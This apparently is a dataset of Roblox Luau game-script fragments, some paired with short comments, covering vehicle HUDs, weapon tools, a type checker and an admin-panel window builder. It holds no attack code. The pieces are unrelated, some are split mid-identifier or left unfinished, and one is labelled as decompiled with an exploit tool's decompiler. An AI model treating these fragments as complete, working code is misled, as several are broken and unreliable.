script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
function PBrake()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end
script.Parent.Parent.Values.PBrake.Changed:connect(PBrake)
function Gear()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
-- nO tOuChIe
|
local CanAttack = true
script.Parent.Slash.OnServerEvent:Connect(function()
local attack = script.Parent.Parent.Humanoid:LoadAnimation(script.Attack)
if CanAttack == true then
attack:Play()
CanAttack = false
script.Parent.CanDamage.Value = true
wait(1)
attack:Stop()
CanAttack = true
script.Parent.CanDamage.Value = false
end
end)
|
--- Invoke
|
Signal.Invoke = function(funcName, ...)
funcName = string.lower(funcName)
local func = GetFunc(funcName)
if (not isServer) and funcName ~= "core signal fired" then
Signal.Fire("CORE Signal Fired", funcName)
end
--
return func:Invoke(...)
end
|
function onJumpin
|
g()
isSeated = false
pose = "Jumping"
end
|
--[[
Get the current state of the Store. Do not mutate this!
]]
|
function Store:getState()
return self._state
end
|
-----------------
--| Functions |--
-----------------
|
script.Parent.poopi.OnServerEvent:Connect(function()
local myModel = MyPlayer.Character
if Tool.Enabled and myModel and myModel:FindFirstChildOfClass("Humanoid") and myModel.Humanoid.Health > 0 then
Tool.Enabled = false
local Pos = MouseLoc:InvokeClient(MyPlayer)
-- Create a clone of Rocket and set its color
local rocketClone = Rocket:Clone()
DebrisService:AddItem(rocketClone, 30)
rocketClone.BrickColor = MyPlayer.TeamColor
-- Position the rocket clone and launch!
local spawnPosition = (ToolHandle.CFrame * CFrame.new(5, 0, 0)).p
rocketClone.CFrame = CFrame.new(spawnPosition, Pos) --NOTE: This must be done before assigning Parent
rocketClone.Velocity = rocketClone.CFrame.lookVector * ROCKET_SPEED --NOTE: This should be done before assigning Parent
rocketClone.Parent = workspace
rocketClone:SetNetworkOwner(nil)
wait(RELOAD_TIME)
Tool.Enabled = true
end
end)
function OnEquipped()
MyPlayer = PlayersService:GetPlayerFromCharacter(Tool.Parent)
end
|
--[[**
ensures value matches given interface definition strictly
@param checkTable The interface definition
@returns A function that will return true iff the condition is passed
**--]]
|
function t.strictInterface(checkTable)
assert(checkInterface(checkTable))
return function(value)
local tableSuccess = t.table(value)
if tableSuccess == false then
return false
end
for key, check in pairs(checkTable) do
local success = check(value[key])
if success == false then
return false
end
end
for key in pairs(value) do
if not checkTable[key] then
return false
end
end
return true
end
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
while true do
wait();
if workspace:FindFirstChild("Song") then
break;
end;
end;
while true do
wait();
if script.Parent:FindFirstChild("Where") then
break;
end;
end;
while true do
wait();
if script.Parent:FindFirstChild("Where").Value ~= nil then
break;
end;
end;
while wait() do
if workspace.Song.PlaybackLoudness / 160 <= 7 then
script.Parent.Where.Value.Size = NumberSequence.new(workspace.Song.PlaybackLoudness / 160);
else
script.Parent.Where.Value.Size = NumberSequence.new(7);
end;
end;
|
--[[
Novena Constraint Type: Motorcycle
The Bike Chassis
RikOne2 | Enjin
--]]
|
local bike = script.Parent.Bike.Value
local _Tune = require(bike["Tuner"])
local handler = bike:WaitForChild("AC6_Sound")
local on = 0
local mult=0
local det=0
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
local SetPitch = .1
local SetRev = 1.8
local vol = .1 --Set the volume for everything below
handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev"))
|
--// All global vars will be wiped/replaced except script
|
return function(data, env)
if env then
setfenv(1, env)
end
--local client = service.GarbleTable(client)
local Player = service.Players.LocalPlayer
local Mouse = Player:GetMouse()
local InputService = service.UserInputService
local gIndex = data.gIndex
local gTable = data.gTable
local Event = gTable.BindEvent
local GUI = gTable.Object
local Name = data.Name
local Icon = data.Icon
local Size = data.Size
local Menu = data.Menu
local Title = data.Title
local Ready = data.Ready
local Walls = data.Walls
local noHide = data.NoHide
local noClose = data.NoClose
local onReady = data.OnReady
local onClose = data.OnClose
local onResize = data.OnResize
local onRefresh = data.OnRefresh
local onMinimize = data.OnMinimize
local ContextMenu = data.ContextMenu
local ResetOnSpawn = data.ResetOnSpawn
local CanKeepAlive = data.CanKeepAlive
local iconClicked = data.IconClicked
local SizeLocked = data.SizeLocked or data.SizeLock
local CanvasSize = data.CanvasSize
local Position = data.Position
local Content = data.Content or data.Children
local MinSize = data.MinSize or {150, 50}
local MaxSize = data.MaxSize or {math.huge, math.huge}
local curIcon = Mouse.Icon
local isClosed = false
local Resizing = false
local Refreshing = false
local DragEnabled = true
local checkProperty = service.CheckProperty
local specialInsts = {}
local inExpandable
local addTitleButton
local LoadChildren
local BringToFront
local functionify
local Drag = GUI.Drag
local Close = Drag.Close
local Hide = Drag.Hide
local Iconf = Drag.Icon
local Titlef = Drag.Title
local Refresh = Drag.Refresh
local rSpinner = Refresh.Spinner
local Main = Drag.Main
local Tooltip = GUI.Desc
local ScrollFrame = GUI.Drag.Main.ScrollingFrame
local LeftSizeIcon = Main.LeftResizeIcon
local RightSizeIcon = Main.RightResizeIcon
local RightCorner = Main.RightCorner
local LeftCorner = Main.LeftCorner
local RightSide = Main.RightSide
local LeftSide = Main.LeftSide
local TopRight = Main.TopRight
local TopLeft = Main.TopLeft
local Bottom = Main.Bottom
local Top = Main.Top
local function RippleEffect(element)
spawn(function()
element.ClipsDescendants = true
local effect = create("ImageLabel", {
Parent = element,
AnchorPoint = Vector2.new(0.5, 0.5),
BorderSizePixel = 0,
ZIndex = element.ZIndex + 1,
BackgroundTransparency = 0.5,
ImageTransparency = 0.8,
Image = "rbxasset://textures/whiteCircle.png",
Position = UDim2.new(0.5, 0, 0.5, 0),
})
effect:TweenSize(UDim2.new(0, element.AbsoluteSize.X * 2.5, 0, element.AbsoluteSize.X * 2.5), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.2)
wait(0.2)
effect:Destroy()
end)
end
local clickSound = service.New("Sound")
clickSound.Parent = GUI.Drag
clickSound.Volume = 0.4
clickSound.SoundId = "rbxassetid://6706935653"
Main.DescendantAdded:Connect(function(child)
if child:IsA("TextButton") and not child:FindFirstChildOfClass("UIGradient") then
local gradient = Instance.new("UIGradient", child)
gradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0,Color3.new(1,1,1)),ColorSequenceKeypoint.new(1,Color3.fromRGB(80,80,80))}
--[[create("ImageLabel", {
BackgroundTransparency = 1;
ImageTransparency = 0.5;
Image = "rbxassetid://456420746"; -- For dusty Aero :]
Size = UDim2.new(1, 0, 1, 0);
Parent = child;
ZIndex = 2
})]]
end
end)
function Expand(ent, point, text)
local label = point:FindFirstChild("Label")
if label then
ent.MouseLeave:Connect(function(x,y)
if inExpandable == ent then
point.Visible = false
end
end)
ent.MouseMoved:Connect(function(x,y)
inExpandable = ent
label.Text = text or ent.Desc.Value
--point.Size = UDim2.new(0, 10000, 0, 10000)
local newx = 500
local bounds = service.TextService:GetTextSize(text or ent.Desc.Value, label.TextSize, label.Font, Vector2.new(1000,1000)).X-- point.Label.TextBounds.X
local rows = math.floor(bounds/500)
rows = rows+1
if rows<1 then rows = 1 end
if bounds<500 then newx = bounds end
point.Size = UDim2.new(0, newx+10, 0, (rows*20)+10)
point.Position = UDim2.new(0, x+6, 0, y-40-((rows*20)+10))
point.Visible = true
end)
end
end
function getNextPos(frame)
local farXChild, farYChild
for i,v in next,frame:GetChildren() do
if checkProperty(v, "Size") then
if not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then
farXChild = v
end
if not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then
farYChild = v
end
end
end
return ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y)
end
function LoadChildren(Obj, Children)
if Children then
local runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj)
for class,data in next,Children do
if type(data) == "table" then
if not data.Parent then data.Parent = Obj end
create(data.Class or data.ClassName or class, data)
elseif type(data) == "function" or type(data) == "string" and not runWhenDone then
runWhenDone = functionify(data, Obj)
end
end
if runWhenDone then
runWhenDone(Obj)
end
end
end
function BringToFront()
for i,v in ipairs(Player.PlayerGui:GetChildren()) do
if v:FindFirstChild("__ADONIS_WINDOW") then
v.DisplayOrder = 100
end
end
GUI.DisplayOrder = 101
end
function addTitleButton(data)
local startPos = 1
local realPos
local new
local original = Hide
if Hide.Visible then
startPos = startPos+1
end
if Close.Visible then
startPos = startPos+1
end
if Refresh.Visible then
startPos = startPos+1
end
realPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 3)
data.Position = data.Position or realPos
data.Size = data.Size or original.Size
data.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3
data.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency
data.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel
data.ZIndex = data.ZIndex or original.ZIndex
data.TextColor3 = data.TextColor3 or original.TextColor3
data.TextScaled = data.TextScaled or original.TextScaled
data.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3
data.TextSize = data.TextSize or original.TextSize
data.TextTransparency = data.TextTransparency or original.TextTransparency
data.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency
data.TextScaled = data.TextScaled or original.TextScaled
data.TextWrapped = data.TextWrapped or original.TextWrapped
--data.TextXAlignment = data.TextXAlignment or original.TextXAlignment
--data.TextYAlignment = data.TextYAlignment or original.TextYAlignment
data.Font = data.Font or original.Font
data.Parent = Drag
local newTitleButton = create("TextButton", data)
create("UICorner", {CornerRadius = UDim.new(0,4);Parent = newTitleButton})
newTitleButton.MouseButton1Down:Connect(function() RippleEffect(newTitleButton) end)
return newTitleButton
end
function functionify(func, object)
if type(func) == "string" then
if object then
local env = GetEnv()
env.Object = object
return client.Core.LoadCode(func, env)
else
return client.Core.LoadCode(func)
end
else
return func
end
end
function create(class, dataFound, existing)
local data = dataFound or {}
local class = data.Class or data.ClassName or class
local new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class)
local parent = data.Parent or new.Parent
if dataFound then
data.Parent = nil
if data.Class or data.ClassName then
data.Class = nil
data.ClassName = nil
end
if not data.BorderColor3 and checkProperty(new,"BorderColor3") then
new.BorderColor3 = dBorder
end
if not data.CanvasSize and checkProperty(new,"CanvasSize") then
new.CanvasSize = dCanvasSize
end
if not data.BorderSizePixel and checkProperty(new,"BorderSizePixel") then
new.BorderSizePixel = dPixelSize
end
if not data.BackgroundColor3 and checkProperty(new,"BackgroundColor3") then
new.BackgroundColor3 = dBackground
end
if not data.PlaceholderColor3 and checkProperty(new,"PlaceholderColor3") then
new.PlaceholderColor3 = dPlaceholderColor
end
if not data.Transparency and not data.BackgroundTransparency and checkProperty(new,"Transparency") then
new.BackgroundTransparency = dTransparency
elseif data.Transparency then
new.BackgroundTransparency = data.Transparency
end
if not data.TextColor3 and not data.TextColor and checkProperty(new,"TextColor3") then
new.TextColor3 = dTextColor
elseif data.TextColor then
new.TextColor3 = data.TextColor
end
if not data.Font and checkProperty(new, "Font") then
data.Font = dFont
end
if not data.TextSize and checkProperty(new, "TextSize") then
data.TextSize = dTextSize
end
if not data.BottomImage and not data.MidImage and not data.TopImage and class == "ScrollingFrame" then
new.BottomImage = dScrollImage
new.MidImage = dScrollImage
new.TopImage = dScrollImage
end
if not data.Size and checkProperty(new,"Size") then
new.Size = dSize
end
if not data.Position and checkProperty(new,"Position") then
new.Position = dPosition
end
if not data.ZIndex and checkProperty(new,"ZIndex") then
new.ZIndex = dZIndex
if parent and checkProperty(parent, "ZIndex") then
new.ZIndex = parent.ZIndex
end
end
if data.TextChanged and class == "TextBox" then
local textChanged = functionify(data.TextChanged, new)
new.FocusLost:Connect(function(enterPressed)
textChanged(new.Text, enterPressed, new)
end)
end
if (data.OnClicked or data.OnClick) and (class == "TextButton" or class == "ImageButton") then
local debounce = false;
local doDebounce = data.Debounce;
local onClick = functionify((data.OnClicked or data.OnClick), new)
new.MouseButton1Down:Connect(function()
if not debounce then
if doDebounce then
debounce = true
end
RippleEffect(new)
onClick(new);
debounce = false;
end
end)
end
if data.Events then
for event,func in pairs(data.Events) do
local realFunc = functionify(func, new)
Event(new[event], function(...)
realFunc(...)
end)
end
end
if data.Visible == nil then
data.Visible = true
end
if data.LabelProps then
data.LabelProperties = data.LabelProps
end
end
if class == "Entry" then
local label = new.Text
local dots = new.Dots
local desc = new.Desc
label.ZIndex = data.ZIndex or new.ZIndex
dots.ZIndex = data.ZIndex or new.ZIndex
if data.Text then
new.Text.Text = data.Text
new.Text.Visible = true
data.Text = nil
end
if data.Desc or data.ToolTip then
new.Desc.Value = data.Desc or data.ToolTip
data.Desc = nil
end
Expand(new, Tooltip)
else
if data.ToolTip then
Expand(new, Tooltip, data.ToolTip)
end
end
if class == "ButtonEntry" then
local button = new.Button
local debounce = false
local onClicked = functionify(data.OnClicked, button)
new:SetSpecial("DoClick",function()
if not debounce then
debounce = true
if onClicked then
onClicked(button)
end
debounce = false
end
end)
new.Text = data.Text or new.Text
button.ZIndex = data.ZIndex or new.ZIndex
button.MouseButton1Down:Connect(function()
clickSound:Play()
RippleEffect(new)
new.DoClick()
end)
end
if class == "Boolean" then
local enabled = data.Enabled
local debounce = false
local onToggle = functionify(data.OnToggle, new)
local function toggle(isEnabled)
if not debounce then
debounce = true
if (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then
enabled = false
new.Text = "Disabled"
elseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then
enabled = true
new.Text = "Enabled"
end
if onToggle then
onToggle(enabled, new)
end
debounce = false
end
end
--new.ZIndex = data.ZIndex
new.Text = (enabled and "Enabled") or "Disabled"
new.MouseButton1Down:Connect(function()
if onToggle then
clickSound:Play()
RippleEffect(new)
toggle()
end
end)
new:SetSpecial("Toggle",function(ignore, isEnabled) toggle(isEnabled) end)
end
if class == "StringEntry" then
local box = new.Box
local ignore
new.Text = data.Text or new.Text
box.ZIndex = data.ZIndex or new.ZIndex
if data.BoxText then
box.Text = data.BoxText
end
if data.BoxProperties then
for i,v in next,data.BoxProperties do
if checkProperty(box, i) then
box[i] = v
end
end
end
if data.TextChanged then
local textChanged = functionify(data.TextChanged, box)
box.Changed:Connect(function(p)
if p == "Text" and not ignore then
textChanged(box.Text)
end
end)
box.FocusLost:Connect(function(enter)
local change = textChanged(box.Text, true, enter)
if change then
ignore = true
box.Text = change
ignore = false
end
end)
end
new:SetSpecial("SetValue",function(ignore, newValue) box.Text = newValue end)
end
if class == "Slider" then
local mouseIsIn = false
local posValue = new.Percentage
local slider = new.Slider
local bar = new.SliderBar
local drag = new.Drag
local moving = false
local value = 0
local onSlide = functionify(data.OnSlide, new)
bar.ZIndex = data.ZIndex or new.ZIndex
slider.ZIndex = bar.ZIndex+1
drag.ZIndex = slider.ZIndex+1
drag.Active = true
if data.Value then
slider.Position = UDim2.new(0.5, -10, 0.5, -10)
drag.Position = slider.Position
end
bar.InputBegan:Connect(function(input)
if not moving and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
value = ((input.Position.X) - (new.AbsolutePosition.X)) / (new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
drag.DragBegin:Connect(function()
moving = true
end)
drag.DragStopped:Connect(function()
moving = false
drag.Position = slider.Position
end)
drag.Changed:Connect(function()
if moving then
value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
new:SetSpecial("SetValue",function(ignore, newValue)
if newValue and tonumber(newValue) then
value = tonumber(newValue)
posValue.Value = value
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
end
end)
end
if class == "Dropdown" then
local menu = new.Menu
local downImg = new.Down
local selected = new.dSelected
local options = data.Options
local curSelected = data.Selected or data.Selection
local onSelect = functionify(data.OnSelection or data.OnSelect or function()end)
local textProps = data.TextProperties
local scroller = create("ScrollingFrame", {
Parent = menu;
Size = UDim2.new(1, 0, 1, 0);
Position = UDim2.new(0, 0, 0, 0);
BackgroundTransparency = 1;
ZIndex = 100;
})
menu.ZIndex = scroller.ZIndex
menu.Parent = GUI
menu.Visible = false
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100);
menu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3
if data.TextAlignment then
selected.TextXAlignment = data.TextAlignment
selected.Position = UDim2.new(0, 30, 0, 0);
end
if data.NoArrow then
downImg.Visible = false
end
new:SetSpecial("MenuContainer", menu)
new.Changed:Connect(function(p)
if p == "AbsolutePosition" and menu.Visible then
menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
elseif p == "AbsoluteSize" or p == "Parent" then
downImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0);
if data.TextAlignment == "Right" then
downImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2))
selected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0);
else
downImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2))
end
selected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0);
if options and #options <= 6 then
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options);
else
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6);
scroller:ResizeCanvas(false, true);
end
end
end)
selected.ZIndex = new.ZIndex
downImg.ZIndex = new.ZIndex
if textProps then
for i,v in next,textProps do
selected[i] = v
end
end
if options then
for i,v in next,options do
local button = scroller:Add("TextButton", {
Text = " ".. tostring(v);
Size = UDim2.new(1, -10, 0, 30);
Position = UDim2.new(0, 5, 0, 30*(i-1));
ZIndex = menu.ZIndex;
BackgroundTransparency = 1;
OnClick = function()
selected.Text = v;
onSelect(v, new);
menu.Visible = false
end
})
if textProps then
for i,v in next,textProps do
button[i] = v
end
end
end
if curSelected then
selected.Text = curSelected
else
selected.Text = "No Selection"
end
local function showMenu()
menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
menu.Visible = not menu.Visible
end
selected.MouseButton1Down:Connect(function() clickSound:Play() RippleEffect(selected) showMenu() end)
downImg.MouseButton1Down:Connect(function() RippleEffect(selected) showMenu() end)
end
end
if class == "TabFrame" then
local buttonsTab = {};
local buttons = create("ScrollingFrame", nil, new.Buttons)
local frames = new.Frames
local numTabs = 0
local buttonSize = data.ButtonSize or 60
new.BackgroundTransparency = data.BackgroundTransparency or 1
buttons.ZIndex = data.ZIndex or new.ZIndex
frames.ZIndex = buttons.ZIndex
new:SetSpecial("GetTab", function(ignore, name)
return frames:FindFirstChild(name)
end)
new:SetSpecial("NewTab", function(ignore, name, data)
local data = data or {}
--local numChildren = #frames:GetChildren()
local nextPos = getNextPos(buttons);
local textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize)
local oTextTrans = data.TextTransparency
local isOpen = false
local disabled = false
local tabFrame = create("ScrollingFrame",{
Name = name;
Size = UDim2.new(1, 0, 1, 0);
Position = UDim2.new(0, 0, 0, 0);
BorderSizePixel = 0;
BackgroundTransparency = data.FrameTransparency or data.Transparency;
BackgroundColor3 = data.Color or dSecondaryBackground;
ZIndex = buttons.ZIndex;
Visible = false;
})
local tabButton = create("TextButton",{
Name = name;
Text = data.Text or name;
Size = UDim2.new(0, textSize.X+20, 1, 0);
ZIndex = buttons.ZIndex;
Position = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0);
TextColor3 = data.TextColor;
BackgroundTransparency = 0.7;
TextTransparency = data.TextTransparency;
BackgroundColor3 = data.Color or dSecondaryBackground;
BorderSizePixel = 0;
})
tabFrame:SetSpecial("FocusTab",function()
for i,v in next,buttonsTab do
if isGui(v) then
v.BackgroundTransparency = (v:IsDisabled() and 0.9) or 0.7
v.TextTransparency = (v:IsDisabled() and 0.9) or 0.7
end
end
for i,v in next,frames:GetChildren() do
if isGui(v) then
v.Visible = false
end
end
tabButton.BackgroundTransparency = data.Transparency or 0
tabButton.TextTransparency = data.TextTransparency or 0
tabFrame.Visible = true
if data.OnFocus then
data.OnFocus(true)
end
end)
if numTabs == 0 then
tabFrame.Visible = true
tabButton.BackgroundTransparency = data.Transparency or 0
end
tabButton.MouseButton1Down:Connect(function()
if not disabled then
tabFrame:FocusTab()
end
end)
tabButton.Parent = buttons
tabFrame.Parent = frames
buttons:ResizeCanvas(true, false)
tabFrame:SetSpecial("Disable", function()
disabled = true;
tabButton.BackgroundTransparency = 0.9;
tabButton.TextTransparency = 0.9
end)
tabFrame:SetSpecial("Enable", function()
disabled = false;
tabButton.BackgroundTransparency = 0.7;
tabButton.TextTransparency = data.TextTransparency or 0;
end)
tabButton:SetSpecial("IsDisabled", function()
return disabled;
end)
table.insert(buttonsTab, tabButton);
numTabs = numTabs+1;
return tabFrame,tabButton
end)
end
if class == "ScrollingFrame" then
local genning = false
if not data.ScrollBarThickness then
data.ScrollBarThickness = dScrollBar
end
new:SetSpecial("GenerateList", function(obj, list, labelProperties, bottom)
local list = list or obj;
local genHold = {}
local entProps = labelProperties or {}
genning = genHold
new:ClearAllChildren()
local num = 0
for i,v in next,list do
local text = v;
local desc;
local color
local richText;
if type(v) == "table" then
text = v.Text
desc = v.Desc
color = v.Color
if v.RichTextAllowed or entProps.RichTextAllowed then
richText = true
end
end
local label = create("TextLabel",{
Text = " "..tostring(text);
ToolTip = desc;
Size = UDim2.new(1,-5,0,(entProps.ySize or 20));
Visible = true;
BackgroundTransparency = 1;
Font = "SourceSans";
TextSize = 18;
TextStrokeTransparency = 0.8;
TextXAlignment = "Left";
Position = UDim2.new(0,0,0,num*(entProps.ySize or 20));
RichText = richText or false;
})
if color then
label.TextColor3 = color
end
if labelProperties then
for i,v in next,entProps do
if checkProperty(label, i) then
label[i] = v
end
end
end
if genning == genHold then
label.Parent = new;
else
label:Destroy()
break
end
num = num+1
if data.Delay then
if type(data.Delay) == "number" then
wait(data.Delay)
elseif i%100 == 0 then
wait(0.1)
end
end
end
new:ResizeCanvas(false, true, false, bottom, 5, 5, 50)
genning = nil
end)
new:SetSpecial("ResizeCanvas", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak)
local xPadding,yPadding = data.xPadding or 5, data.yPadding or 5
local newY, newX = 0,0
if not onX and not onY then onX = false onY = true end
for i,v in next,new:GetChildren() do
if v:IsA("GuiObject") then
if onY then
v.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y)
v.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y)
end
if onX then
v.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset)
v.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset)
end
local yLower = v.Position.Y.Offset + v.Size.Y.Offset
local xLower = v.Position.X.Offset + v.Size.X.Offset
newY = math.max(newY, yLower)
newX = math.max(newX, xLower)
if modBreak then
if i%modBreak == 0 then
wait(1/60)
end
end
end
end
if onY then
new.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding)
end
if onX then
new.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset)
end
if xMax then
new.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y)
end
if yMax then
new.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y)
end
end)
if data.List then new:GenerateList(data.List) data.List = nil end
end
LoadChildren(new, data.Content or data.Children)
data.Children = nil
data.Content = nil
for i,v in next,data do
if checkProperty(new, i) then
new[i] = v
end
end
new.Parent = parent
return apiIfy(new, data, class),data
end
function apiIfy(gui, data, class)
local newGui = service.Wrap(gui)
gui:SetSpecial("Object", gui)
gui:SetSpecial("SetPosition", function(ignore, newPos) gui.Position = newPos end)
gui:SetSpecial("SetSize", function(ingore, newSize) gui.Size = newSize end)
gui:SetSpecial("Add", function(ignore, class, data)
if not data then data = class class = ignore end
local new = create(class,data);
new.Parent = gui;
return apiIfy(new, data, class)
end)
gui:SetSpecial("Copy", function(ignore, class, gotData)
local newData = {}
local new
for i,v in next,data do
newData[i] = v
end
for i,v in next,gotData do
newData[i] = v
end
new = create(class or data.Class or gui.ClassName, newData);
new.Parent = gotData.Parent or gui.Parent;
return apiIfy(new, data, class)
end)
return newGui
end
function doClose()
if not isClosed then
isClosed = true
for _, thing in pairs(Drag:GetChildren()) do
if thing ~= Main then
thing:Destroy()
end
end
Drag:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.15)
Main.ClipsDescendants = true
Main:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.15)
wait(0.12)
gTable:Destroy()
end
end
function isVisible()
return Main.Visible
end
local hideLabel = Hide:FindFirstChild("TextLabel")
function doHide(doHide)
local origLH = Hide.LineHeight
if doHide or (doHide == nil and Main.Visible) then
dragSize = Drag.Size
Main.Visible = false
Main.Glass.Parent = Drag
Drag.BackgroundTransparency = Main.BackgroundTransparency
Drag.BackgroundColor3 = Main.BackgroundColor3
Drag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
if hideLabel then
hideLabel.Icon.Image = "rbxassetid://3523249191"
else
Hide.Icon.Image = "rbxassetid://3523249191"
end
Hide.LineHeight = origLH
gTable.Minimized = true
elseif doHide == false or (doHide == nil and not Main.Visible) then
Main.Visible = true
Drag.Glass.Parent = Main
Drag.BackgroundTransparency = 1
Drag.Size = dragSize or Drag.Size
if hideLabel then
hideLabel.Icon.Image = "rbxassetid://3523250728"
else
Hide.Icon.Image = "rbxassetid://3523250728"
end
Hide.LineHeight = origLH
gTable.Minimized = false
end
